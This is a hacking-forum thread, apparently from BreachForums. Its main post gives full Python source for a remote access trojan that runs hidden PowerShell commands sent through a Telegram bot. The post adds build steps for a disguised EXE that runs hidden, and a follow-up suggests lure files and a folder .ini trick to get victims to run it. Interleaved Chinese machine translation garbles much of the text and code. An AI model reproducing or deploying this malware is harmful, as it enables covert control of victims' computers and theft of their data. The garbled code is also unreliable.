Posts: 10,305
Threads: 216
Joined: Jun 2023
(08-15-2024, 06:41 PM)reflex Wrote: (08-15-2024, 11:21 AM)DredgenSun Wrote: Gonna give it a whirl tonight, i'll update on whats happened!
thank you friend
Wait what!? I loved your content man </3
"Universal appeal is poison masquerading as medicine. Horror is not meant to be universal. It's meant to be personal, private, animal"
Posts: 217
Threads: 65
Joined: Aug 2024
   
Very cool?!!, are you going to implement TLS in the final version? I recommend a stream cipher such as 2048 bite RC4 or if you want , you can use the builtin SSL module as it might be easier to implement. Best of luck.?
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Self-Ban | http://breached26tezcofqla4adzyn22notfqw...an-Appeals if you wish to be unbanned in the future.
Posts: 302
Threads: 11
Joined: Aug 2024
  
Okay cool thread, but the horrible eye burning text colour buddy? Some of us live in a dark goon cave. Hard to read your PowerShell booting Python...
Posts: 292
Threads: 40
Joined: Mar 2024
(08-29-2024, 08:27 PM)alsimons Wrote: so the victim have to exetute the .exe?? what if the victim dont execute it??.............................
I am giving an example of a convincing social engineering lie, for example, combine this program with a txt file and send it to the target, and let the name of that txt file be Instructions.txt.
Or you can use the method I did. Create a folder and place a .ini file in it and place the payload and send it to the destination. When the folder is opened, the .ini file will run and run the payload.
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Dishes out second hand retardation | http://breached26tezcofqla4adzyn22notfqw...an-Appeals if you wish to be unbanned in the future.
Posts: 20
Threads: 1
Joined: Sep 2024
The only missing thing I see is fucking linebreaks
Posts: 2
Threads: 0
Joined: Sep 2024
(08-14-2024, 02:12 PM)reflex Wrote: [报价=“反射”pid='756149' dateline='1723644775']
Those who say a RAT can execute commands on a target system without IP and port information, congratulations, you never believe in the impossible. Gather those who say no, I'll explain how to do it. Let me say this from the beginning, this code is not for sale, it's free to take and use in your own projects
那些说RAT可以在没有IP和端口信息的情况下在目标系统上执行命令的人,恭喜你,你永远不会相信不可能。收集那些谁说不,我会解释如何做到这一点。让我说这从一开始,这段代码是不销售,它是免费的,并在自己的项目中使用
Let me explain how this method works. First, we'll code a payload capable of executing PowerShell commands. Then, we'll integrate this payload into a Telegram bot. Using PyInstaller, we'll convert this program into an EXE file and send it to the target. Once the target runs this file, it turns into a Telegram bot server and executes the codes we send to the bot as messages on the computer and sends us the output. The code can bypass access controls by starting a separate PowerShell instance for each code, thus bypassing access controls. Here's what you need to do:
让我解释一下这个方法是如何工作的。首先,我们将编写一个能够执行PowerShell命令的有效负载。然后,我们将把这个有效载荷集成到Telegram机器人中。使用Python,我们将把这个程序转换成一个EXE文件,并把它发送给目标。一旦目标运行这个文件,它就会变成一个Telegram bot服务器,并在计算机上执行我们发送给bot的代码,并将输出发送给我们。代码可以通过为每个代码启动单独的PowerShell实例来绕过访问控制,从而绕过访问控制。你需要做的是:
1-)1-) Create a new bot from Telegram从Telegram创建一个新的机器人BotFather.
2-)2-) Copy the bot's token and paste it into the复制bot的令牌并将其粘贴到"TOKEN HERE在这里代币"part of the code I've given you.我给你的代码的一部分
3-)3-)Convert the program to an EXE file with PyInstaller using a convincing icon. That's all.
使用Python使用令人信服的图标将程序转换为EXE文件。仅此而已
IMPORTANT NOTE重要提示Save the Python code I'll give you as a .pyw file instead of
将我给你的Python代码保存为.pyw文件,而不是 .py.py格式.pyw files are hidden files that run in the background, and if these files are converted to EXE, they also run secretly in the background
文件是在后台运行的隐藏文件,如果将这些文件转换为EXE,它们也会在后台秘密运行
# Her Bji Mazlum Doxan Her Bji PKK# Her Bji Mazlum Doxan Her Bji PKK
import subprocess导入子过程
import time导入时间
import socket进口插座
from telegram import Update从电报导入更新
from telegram.ext import ApplicationBuilder, CommandHandler, MessageHandler, ContextTypes, filters从telegram.ext导入ApplicationBuilder、CommandType、MessageType、ContextTypes、filters
# telegram token#电报令牌
TOKEN = 'TOKEN HERE'TOKEN HERE(TOKEN HERE)
# Start the PowerShell process#启动PowerShell进程
def start_powershell():def start_powershell():
startupinfo = subprocess.STARTUPINFO()startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOWstartupinfo.dwFlags |=子进程.STARTF_USESHOWWINDOWS
startupinfo.wShowWindow = subprocess.SW_HIDE
p = subprocess.Popen(["powershell.exe"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, startupinfo=startupinfo, text=True)p = subprocess.Popen([“powershell.exe”],stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess. PIPE,startupinfo=startupinfo,text=True)
return p返回P
# Check internet connection#检查互联网连接
def check_internet():def check_internet():
try:尝试:
socket.create_connection(("8.8.8.8", 53), timeout=1)socket.create_connection((“8.8.8.8“,53),timeout=1)
return True返回True
except OSError:OSError除外:
return False返回False
# Command handler function#命令处理函数
async def handle_command(update: Update, context: ContextTypes.DEFAULT_TYPE):默认def handle_command(update:Update,context:ContextTypes.DEFAULT_TYPE):
command = update.message.text + "\n"command = update.message.text +“\n”
# start powershell driver#启动powershell驱动程序
p = start_powershell()p = start_powershell()
try:尝试:
p.stdin.write(command)p.stdin.write(命令)
p.stdin.flush()p.stdin.flush()
output, error = p.communicate(timeout=10)输出,错误= p.communicate(timeout=10)
if error:如果出现错误:
output += f'\nError: {error}'输出+= f '\错误:{error}'
except subprocess.TimeoutExpired:除了子进程。超时过期:
p.kill()p.kill()
output = "Execution of the command timed out...."输出=“命令执行超时.... "
finally:最后:
p.stdin.close()p.stdin.close()
p.stdout.close()p.stdout.close()
p.stderr.close()stderr.close()
p.terminate()p.terminate()
# Send output in chunks#按块发送输出
chunk_size = 4096
for i in range(0, len(output), chunk_size):for i in range(0,len(output),chunk_size):
await update.message.reply_text(output[i:i+chunk_size])wait update.message.reply_text(output[i:i+chunk_size])
# Confirmation message that the system is working#系统正在工作的确认消息
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):默认定义启动(更新:更新,上下文:ContextTypes.DEFAULT_TYPE):
await update.message.reply_text('OK, system is working, enter command')await update.message.reply_text('OK,system is working,enter command')
async def error(update: Update, context: ContextTypes.DEFAULT_TYPE):默认定义错误(更新:更新,上下文:ContextTypes.DEFAULT_TYPE):
await update.message.reply_text(f'Error: {context.error}')await update.message.reply_text(f'Error:{context.error}')
def main():定义main():
# start bot#启动bot
while True:while True:
if check_internet():if check_internet():
app = ApplicationBuilder().token(TOKEN).build()app = ApplicationBuilder().token(TOKEN).build()
# Command and message handlers#命令和消息处理程序
app.add_handler(CommandHandler('start', start))app.add_handler(CommandList('start',start))
app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_command))app.add_handler(Message(filters.TEXT & ~filters.COMMAND,handle_command))
app.add_error_handler(error)app.add_error_handler(error)
app.run_polling()app.run_polling()
else:否则:
time.sleep(5) # If there is no internet connection, wait 5 seconds and check againtime.sleep(5)#如果没有互联网连接,请等待5秒钟并再次检查
if __name__ == '__main__':如果__name__ == '__main__':
main()
main()[/code]
Guys, I have a request. If you think there's something missing in this code, please let me know. Also, this code is only 5% of a much larger and more powerful RAT project that I'm currently designing. I hesitated to share this code while writing this post, but I thought it might be useful for forum visitors. I hope it serves you well. Unlike classic RATs, this code doesn't use IP and port information, so even if this code is caught, it will be very, very difficult for them to find you. I hope you find it
伙计们,我有个请求。如果你认为这段代码中缺少了什么,请告诉我。此外,这段代码只是我目前正在设计的一个更大、更强大的RAT项目的5%。在写这篇文章的时候,我犹豫了一下是否要分享这段代码,但我认为它可能对论坛访问者有用。我希望它能为你服务。与经典RAT不同,此代码不使用IP和端口信息,因此即使此代码被捕获,他们也很难找到您。希望你能找到useful. Remember me every time you use it有用的.每次用的时候记得我
Can I have a deeper understanding with you? I am very interested in your project.
Posts: 40
Threads: 1
Joined: Sep 2024
Thanks brother, I'm almost at 0% on this but I hope one day to reach your level! I really admire you!
This forum account is currently banned. Ban Length: (Permanent)
Ban Reason: Leeching | http://breached26tezcofqla4adzyn22notfqw...an-Appeals if you feel this is incorrect.
|